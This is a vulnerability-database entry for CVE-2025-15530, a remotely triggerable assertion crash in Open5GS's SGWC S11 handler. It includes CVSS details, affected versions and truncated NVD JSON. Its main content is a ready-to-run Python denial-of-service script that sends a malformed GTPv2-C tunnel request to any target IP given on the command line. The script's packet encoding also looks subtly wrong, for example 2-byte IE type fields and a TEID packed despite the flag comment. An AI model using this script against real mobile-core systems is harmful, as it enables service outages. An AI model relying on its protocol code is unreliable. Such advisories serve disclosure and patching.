Security Vulnerability Report
中文
CVE-2025-15530 CVSS 5.3 MEDIUM

CVE-2025-15530

Published: 2026-01-17 11:15:49
Last Modified: 2026-02-23 09:16:28

Description

A vulnerability was determined in Open5GS up to 2.7.6. This affects the function sgwc_s11_handle_create_indirect_data_forwarding_tunnel_request of the file /src/sgwc/s11-handler.c. Executing a manipulation can lead to reachable assertion. The attack can be executed remotely. The exploit has been publicly disclosed and may be utilized. The issue report is flagged as already-fixed.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Configurations (Affected Products)

cpe:2.3:a:open5gs:open5gs:*:*:*:*:*:*:*:* - VULNERABLE
Open5GS < 2.7.7

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-15530 PoC - Open5GS SGWC S11 Assertion Failure DoS This PoC demonstrates sending a malformed Create Indirect Data Forwarding Tunnel Request to trigger assertion failure in sgwc_s11_handle_create_indirect_data_forwarding_tunnel_request Note: This is for educational and authorized testing purposes only. """ import socket import struct import sys def create_gtpv2c_header(msg_type, teid=0, seq=0x123456): """Create GTPv2-C header""" version_flags = 0x40 # Version 2, no TEID flag for initial message message_type = msg_type length = 0 # Will be updated teid = teid sequence = seq spare = 0 header = struct.pack('!BBHI', version_flags, message_type, length, teid) header += struct.pack('!I', (sequence << 8) | spare) return header def create_fteid(teid, ipv4, ipv6=None): """Create F-TEID IE (Forwarding Tunnel Endpoint Identifier)""" ie_type = 0x57 # F-TEID if ipv6: flags = 0xC0 # IPv4 and IPv6 present data = struct.pack('!B', flags) + struct.pack('!I', teid) + socket.inet_aton(ipv4) + socket.inet_pton(socket.AF_INET6, ipv6) else: flags = 0x80 # IPv4 present only data = struct.pack('!B', flags) + struct.pack('!I', teid) + socket.inet_aton(ipv4) length = len(data) return struct.pack('!H', ie_type) + struct.pack('!H', length) + data def create_malformed_indirect_tunnel_request(): """Create malformed Create Indirect Data Forwarding Tunnel Request""" msg_type = 0x9D # Create Indirect Data Forwarding Tunnel Request header = create_gtpv2c_header(msg_type, teid=0) # Create bearer context IE with malformed data bearer_ie_type = 0x5D bearer_data = create_fteid(0x12345678, '10.0.0.1') bearer_data += struct.pack('!BBB', 0x00, 0x00, 0x01) # Malformed data to trigger assertion bearer_ie = struct.pack('!H', bearer_ie_type) + struct.pack('!H', len(bearer_data)) + bearer_data # Sequence and length update body = bearer_ie header = header[:4] + struct.pack('!H', len(body)) + header[6:] return header + body def send_exploit(target_ip, target_port=2123): """Send exploit to target""" payload = create_malformed_indirect_tunnel_request() sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.settimeout(5) try: print(f"[*] Sending malformed Create Indirect Data Forwarding Tunnel Request to {target_ip}:{target_port}") sock.sendto(payload, (target_ip, target_port)) print("[+] Exploit packet sent successfully") except Exception as e: print(f"[-] Error sending packet: {e}") finally: sock.close() if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip> [port=2123]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 2123 send_exploit(target, port)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-15530", "sourceIdentifier": "[email protected]", "published": "2026-01-17T11:15:48.907", "lastModified": "2026-02-23T09:16:27.910", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability was determined in Open5GS up to 2.7.6. This affects the function sgwc_s11_handle_create_indirect_data_forwarding_tunnel_request of the file /src/sgwc/s11-handler.c. Executing a manipulation can lead to reachable assertion. The attack can be executed remotely. The exploit has been publicly disclosed and may be utilized. The issue report is flagged as already-fixed."}, {"lang": "es", "value": "Se determinó una vulnerabilidad en Open5GS hasta la versión 2.7.6. Esto afecta a la función sgwc_s11_handle_create_indirect_data_forwarding_tunnel_request del archivo /src/sgwc/s11-handler.c. La ejecución de una manipulación puede llevar a una aserción alcanzable. El ataque puede ser ejecutado remotamente. El exploit ha sido divulgado públicamente y puede ser utilizado. El informe del problema está marcado como ya solucionado."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:N/C:N/I:N/A:P", "baseScore": 5.0, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "NONE", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "PARTIAL"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 10.0, "impactScore": 2.9, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-617"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:open5gs:open5gs:*:*:*:*:*:*:*:*", "versionEndIncluding": "2.7.6", "matchCriteriaId": "9C77332A-BAA3-4FE7-A237-B87F175C6F48"}]}]}], "references": [{"url": "https://github.com/open5gs/open5gs/", "source": "[email protected]"}, {"url": "https://github.com/open5gs/open5gs/issues/4231", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking", "Vendor Advisory"]}, {"url": "https://github.com/open5gs/open5gs/issues/4231#issue-3774187007", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking", "Vendor Advisory"]}, {"url": "https://vuldb.com/?ctiid.341597", "source": "[email protected]", "tags": ["Permissions Required" ... (truncated)